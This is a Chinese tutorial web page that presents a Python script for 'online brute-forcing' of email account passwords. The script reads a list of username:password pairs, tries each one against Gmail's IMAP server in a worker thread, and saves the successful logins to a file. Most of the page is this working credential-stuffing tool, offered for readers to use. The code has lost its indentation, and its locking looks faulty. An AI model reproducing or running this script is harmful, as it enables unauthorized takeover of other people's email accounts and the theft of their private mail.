本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :
username@gmail.com:password username@gmail.com:password username@gmail.com:password
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
支持ssl https /imap协议。
# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
Success_File = open('success.txt', 'a')
Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
Fail_File = open('fail.txt', 'a')
Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
strUserName, strPassWord = strAccountPwd.split(':', 1)
return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
global GLOBAL_WORKING_THREAD_MUTEX_LOCK
global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
print('IMAP INDEX-------', IndexGmail)
print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
Write_Save_Fail_Gmail_Jobs(IndexGmail)
# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
try:
ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
except GmailImap4.error :
print('Logical errors - debug required')
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.abort :
print('Service errors - close and retry')
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.readonly:
print('Mailbox status changed to read only')
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
if (ResponseStatus[0] == 'OK'):
print('LOGIN SUCCESS')
Write_Save_Success_Gmail_Jobs(IndexGmail)
GmailImap4.logout()
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
GmailImap4.close()
print('LOGIN FAIL')
print(ResponseStatus)
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
return
# define global function
class Working_Zone_Thread(threading.Thread):
m_IndexStart = 0
m_IndexEnd = 0
def __init__(self, numEnd):
self.m_IndexEnd = numEnd
threading.Thread.__init__(self)
def run(self): # run process
while True:
if self.m_IndexStart < self.m_IndexEnd:
Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
self.m_IndexStart = self.m_IndexStart + 1
else:
break
def _delete(self):
threading.Thread._delete(self)
print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
IndexStart = 0
print('--------read----star--')
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
global GMAIL_BYTES_READED_TOTAL_SIZE
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
File_Read = open('mail.txt', 'r', encoding='UTF-8')
File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
line = File_Read.readline()
if line:
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
CbBytes = line.__len__()
GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
IndexStart = IndexStart + 1
else:
GLOBAL_READ_FINISH_STATUS_SUCCESS = True
break
print('gmail read num ', IndexStart)
File_Read.close()
print('---------read----end--')
# main entry
if __name__ == '__main__':
print('Main Thread Start : ')
while True:
if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
Read_Send_Single_Func()
wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
wzt.start()
wzt.join()
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
else:
print('data has run out : ')
break
print('Main Thread End : ')
更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》
希望本文所述对大家Python程序设计有所帮助。
# Python
# 暴力破解
# 邮箱账号
# 密码
# Python实现暴力破解有密码的zip文件的方法
# Python脚本暴力破解栅栏密码
# python编写暴力破解FTP密码小工具
# 忘记ftp密码的解决方法示例
# python生成png的方法
# 进阶
# 操作技巧
# 相关内容
# 以此类推
# 也可
# 数据结构
# 给大家
# 更多关于
# 所述
# 程序设计
# 使用技巧
# 编程技巧
# 讲述了
# GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
# GLOBAL_READ_FINISH_STATUS_SUCCESS
# GMAIL_BYTES_READED_TOTAL_SIZE
# function
# def
# False
# define
相关文章:
南京网站制作费用,南京远驱官方网站?
如何在阿里云服务器自主搭建网站?
如何选择香港主机高效搭建外贸独立站?
如何在IIS中新建站点并配置端口与物理路径?
为什么Go需要go mod文件_Go go mod文件作用说明
如何做静态网页,sublimetext3.0制作静态网页?
七夕网站制作视频,七夕大促活动怎么报名?
大连网站设计制作招聘信息,大连投诉网站有哪些?
如何在腾讯云免费申请建站?
音响网站制作视频教程,隆霸音响官方网站?
网站制作大概多少钱一个,做一个平台网站大概多少钱?
建站之星安装后界面空白如何解决?
音乐网站服务器如何优化API响应速度?
,有什么在线背英语单词效率比较高的网站?
图片制作网站免费软件,有没有免费的网站或软件可以将图片批量转为A4大小的pdf?
建站之星如何开启自定义404页面避免用户流失?
教程网站设计制作软件,怎么创建自己的一个网站?
如何快速上传自定义模板至建站之星?
深圳网站制作的公司有哪些,dido官方网站?
已有域名和空间,如何快速搭建网站?
香港服务器租用每月最低只需15元?
名字制作网站免费,所有小说网站的名字?
电商平台网站制作流程,电商网站如何制作?
已有域名如何快速搭建专属网站?
如何用虚拟主机快速搭建网站?详细步骤解析
C#如何序列化对象为XML XmlSerializer用法
建站之星Pro快速搭建教程:模板选择与功能配置指南
如何快速生成高效建站系统源代码?
建站上市公司网站建设方案与SEO优化服务定制指南
在线制作视频的网站有哪些,电脑如何制作视频短片?
宝塔新建站点为何无法访问?如何排查?
公司网站设计制作厂家,怎么创建自己的一个网站?
建站之星代理平台如何选择最佳方案?
宝塔面板创建网站无法访问?如何快速排查修复?
如何通过VPS搭建网站快速盈利?
制作假网页,招聘网的薪资待遇,会有靠谱的吗?一面试又各种折扣?
百度网页制作网站有哪些,谁能告诉我百度网站是怎么联系?
如何通过建站之星自助学习解决操作问题?
网站制作中优化长尾关键字挖掘的技巧,建一个视频网站需要多少钱?
宝塔建站教程:一键部署配置流程与SEO优化实战指南
高防网站服务器:DDoS防御与BGP线路的AI智能防护方案
已有域名如何免费搭建网站?
小自动建站系统:AI智能生成+拖拽模板,多端适配一键搭建
如何快速搭建高效简练网站?
中山网站推广排名,中山信息港登录入口?
建站之星在线客服如何快速接入解答?
网站网页制作专业公司,怎样制作自己的网页?
如何选择PHP开源工具快速搭建网站?
阿里云网站搭建费用解析:服务器价格与建站成本优化指南
建站之星手机一键生成:多端自适应+小程序开发快速建站指南
*请认真填写需求信息,我们会在24小时内与您取得联系。